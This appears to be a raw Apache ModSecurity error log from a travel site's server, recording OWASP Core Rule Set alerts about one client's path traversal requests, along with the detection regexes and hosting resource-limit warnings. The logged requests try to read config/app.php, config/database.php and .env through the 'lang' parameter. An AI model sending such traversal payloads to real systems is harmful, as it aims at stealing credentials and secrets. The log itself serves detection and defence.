[Fri Jul 17 08:55:07.817469 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkw7FYe46zHK_jL3PiQAAABk"]
[Fri Jul 17 08:55:07.817530 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkw7FYe46zHK_jL3PiQAAABk"]
[Fri Jul 17 08:55:07.817627 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:lang: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkw7FYe46zHK_jL3PiQAAABk"]
[Fri Jul 17 08:55:07.819515 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkw7FYe46zHK_jL3PiQAAABk"]
[Fri Jul 17 08:55:07.819747 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.820149 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkw7FYe46zHK_jL3PiQAAABk"]
[Fri Jul 17 08:55:07.827360 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlMQAAAA0"]
[Fri Jul 17 08:55:07.827428 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlMQAAAA0"]
[Fri Jul 17 08:55:07.827522 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:lang: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlMQAAAA0"]
[Fri Jul 17 08:55:07.829175 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlMQAAAA0"]
[Fri Jul 17 08:55:07.829365 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.829831 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkyvekYYQ8uns4MwlMQAAAA0"]
[Fri Jul 17 08:55:07.836512 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?lang=..%2F..%2Fconfig%2Fdatabase.php&anything=xmLZJv8DCgkM5upUvvEWnG7WatGyYTcmv_dpQPeHGgD5K4mGqYUshwNmkWu62mpbtf7hI36Q38OoxdkoaEI8LQs-Ot9DQet-x50FrhbwdCFqrXBVlg4ZprWXnBkfuCM1YbkQM2GYR_ICFA0A8qbXxuTEWG8-ouKka2uGQmYxt2Kl56tsqOhW7W1dJhVksDBS_HnnCpAnivaKE_kwju4gKeFbvEVbVy1a_XiGZ869fJOFb9twAgUJ4nAEKOfXxmH5-v2gVkKYs_0aBGmUfg-OEq-x&ref=JCXIQC3J4GMAGGXH4TOIEFJSJJMPURCOI3K6E2BWXV6BTQAYVUUL4OW36FAKQ3AD2HGV3NR6MCLGBCY3BLVLYPHVZ5BVEORKSN7X66RHMAJ7PL5IHHEBCTD4LS2..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6hAAAABE"]
[Fri Jul 17 08:55:07.836579 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6hAAAABE"]
[Fri Jul 17 08:55:07.836661 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?lang=../../config/database.php&anything=xmLZJv8DCgkM5upUvvEWnG7WatGyYTcmv_dpQPeHGgD5K4mGqYUshwNmkWu62mpbtf7hI36Q38OoxdkoaEI8LQs-Ot9DQet-x50FrhbwdCFqrXBVlg4ZprWXnBkfuCM1YbkQM2GYR_ICFA0A8qbXxuTEWG8-ouKka2uGQmYxt2Kl56tsqOhW7W1dJhVksDBS_HnnCpAnivaKE_kwju4gKeFbvEVbVy1a_XiGZ869fJOFb9twAgUJ4nAEKOfXxmH5-v2gVkKYs_0aBGmUfg-OEq-x&ref=JCXIQC3J4GMAGGXH4TOIEFJSJJMPURCOI3K6E2BWXV6BTQAYVUUL4OW36FAKQ3AD2HGV3NR6MCLGBCY3BLVLYPHVZ5BVEORKSN7X66RHMAJ7PL5IHHEBCTD4LS2QBXZDJOV2MPGEX..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6hAAAABE"]
[Fri Jul 17 08:55:07.836734 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?lang=../../config/database.php&anything=xmlzjv8dcgkm5upuvvewng7watgyytcmv_dpqpehggd5k4mgqyushwnmkwu62mpbtf7hi36q38ooxdkoaei8lqs-ot9dqet-x50frhbwdcfqrxbvlg4zprwxnbkfucm1ybkqm2gyr_icfa0a8qbxxutewg8-oukka2ugqmyxt2kl56tsqohw7w1djhvksdbs_hnncpanivake_kwju4gkefbvevbvy1a_xigz869fjofb9twaguj4naekofxxmh5-v2gvkkys_0abgmufg-oeq-x&ref=jcxiqc3j4gmaggxh4toiefjsjjmpurcoi3k6e2bwxv6btqayvuul4ow36fakq3ad2hgv3nr6mclgbcy3blvlyphvz5bveorksn7x66rhmaj7pl5ihhebctd4ls2qbxzdjov2mpgex..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6hAAAABE"]
[Fri Jul 17 08:55:07.836771 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6hAAAABE"]
[Fri Jul 17 08:55:07.836808 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6hAAAABE"]
[Fri Jul 17 08:55:07.836907 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:lang: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6hAAAABE"]
[Fri Jul 17 08:55:07.838565 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6hAAAABE"]
[Fri Jul 17 08:55:07.838766 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.839198 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4e39YUk0SgV8AU6hAAAABE"]
[Fri Jul 17 08:55:07.841876 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?lang=..%2F..%2F..%2F..%2F.env&extra=HEWfHcFgBF0oMbiKZxtRPcEysjZ6hhSHN1nuXvgRwvWPl_R1TkrqHYKgERG4i440qcy1xBmiifxnCW9Oi9BQvpqQMUtDU56QNG3vQ1y6SNH1OtBSNLWMFhFCPGKZKxTwGkvTzDUVbB3FfVvYLCB-xh0xZ9sN0AimsQiViXNWyzXGWSZqrQAVGwbS4SYjJD0iKRNjcifyTOD6kOif0FnzLy3oA7evTSJoxG1QCjscb5cSflZfrebE4soANbsIRKTb3-Egpmoyb0SsV_xX72g91qWR&cb=XJX7C7D3LUFJWNQ77GG6OUXROIZQO67CSIDQDH2JYCWBSNFYQWGDLJ774JKNIUXG6ZDEV5EUUCGN6B4ZY3B7TAZWONRM4QM6HHD4NPVJIYWFFWWMTPIFBBES5WJQS4GHOE7T5H..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfLQAAAA8"]
[Fri Jul 17 08:55:07.841943 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfLQAAAA8"]
[Fri Jul 17 08:55:07.842398 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?lang=../../../../.env&extra=HEWfHcFgBF0oMbiKZxtRPcEysjZ6hhSHN1nuXvgRwvWPl_R1TkrqHYKgERG4i440qcy1xBmiifxnCW9Oi9BQvpqQMUtDU56QNG3vQ1y6SNH1OtBSNLWMFhFCPGKZKxTwGkvTzDUVbB3FfVvYLCB-xh0xZ9sN0AimsQiViXNWyzXGWSZqrQAVGwbS4SYjJD0iKRNjcifyTOD6kOif0FnzLy3oA7evTSJoxG1QCjscb5cSflZfrebE4soANbsIRKTb3-Egpmoyb0SsV_xX72g91qWR&cb=XJX7C7D3LUFJWNQ77GG6OUXROIZQO67CSIDQDH2JYCWBSNFYQWGDLJ774JKNIUXG6ZDEV5EUUCGN6B4ZY3B7TAZWONRM4QM6HHD4NPVJIYWFFWWMTPIFBBES5WJQS4GHOE7T5HRX64OXSQEKGPXSJG..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfLQAAAA8"]
[Fri Jul 17 08:55:07.842464 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?lang=../../../../.env&extra=hewfhcfgbf0ombikzxtrpceysjz6hhshn1nuxvgrwvwpl_r1tkrqhykgerg4i440qcy1xbmiifxncw9oi9bqvpqqmutdu56qng3vq1y6snh1otbsnlwmfhfcpgkzkxtwgkvtzduvbb3ffvvylcb-xh0xz9sn0aimsqivixnwyzxgwszqrqavgwbs4syjjd0ikrnjcifytod6koif0fnzly3oa7evtsjoxg1qcjscb5csflzfrebe4soanbsirktb3-egpmoyb0ssv_xx72g91qwr&cb=xjx7c7d3lufjwnq77gg6ouxroizqo67csidqdh2jycwbsnfyqwgdlj774jkniuxg6zdev5euucgn6b4zy3b7tazwonrm4qm6hhd4npvjiywffwwmtpifbbes5wjqs4ghoe7t5hrx64oxsqekgpxsjg..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfLQAAAA8"]
[Fri Jul 17 08:55:07.842499 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfLQAAAA8"]
[Fri Jul 17 08:55:07.842532 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfLQAAAA8"]
[Fri Jul 17 08:55:07.846077 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?lang=..%2F..%2Fconfig%2Fapp.php&cb=RWAp1cjw3dNEYQvIPFngQqkHazd6fg4Ipa87BfJx-1to13FrgV11YxIuR_2l-aRszQEsP3YyHKh0uyzZstSb2H6AK02S7RPBXVzt_8UsNgL2VB5xHjwfBvkKsDeYSOsNFiQFN21-zypGj52jKWVnBcMG2pgOm4mMTkSygmJij9e7V8kvEsEcgX_5Hs0VPFpb26PgvLbuyEFa5iunKSbHyuwC4t2TjF0yOaVexeZ-tkfSuvyQCWmKwc9jquFzspJkS4WtBD-71kxxR0lvv1zjjd0r&token=EZ5JG4CI3POKXEHHQCFHEJCWX7W6ALR4MKI52EJRN3SFJL7E4A7KREL3BBLOWQ2N4TCKVVFFLMOIE6O2Y7IB5Z5CYJERDOAYVRP32PLY4YRVI2EXDDN3S7JKJTV5P2V23JGX..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk1h1WDijTxd1xw5MHwAAAAc"]
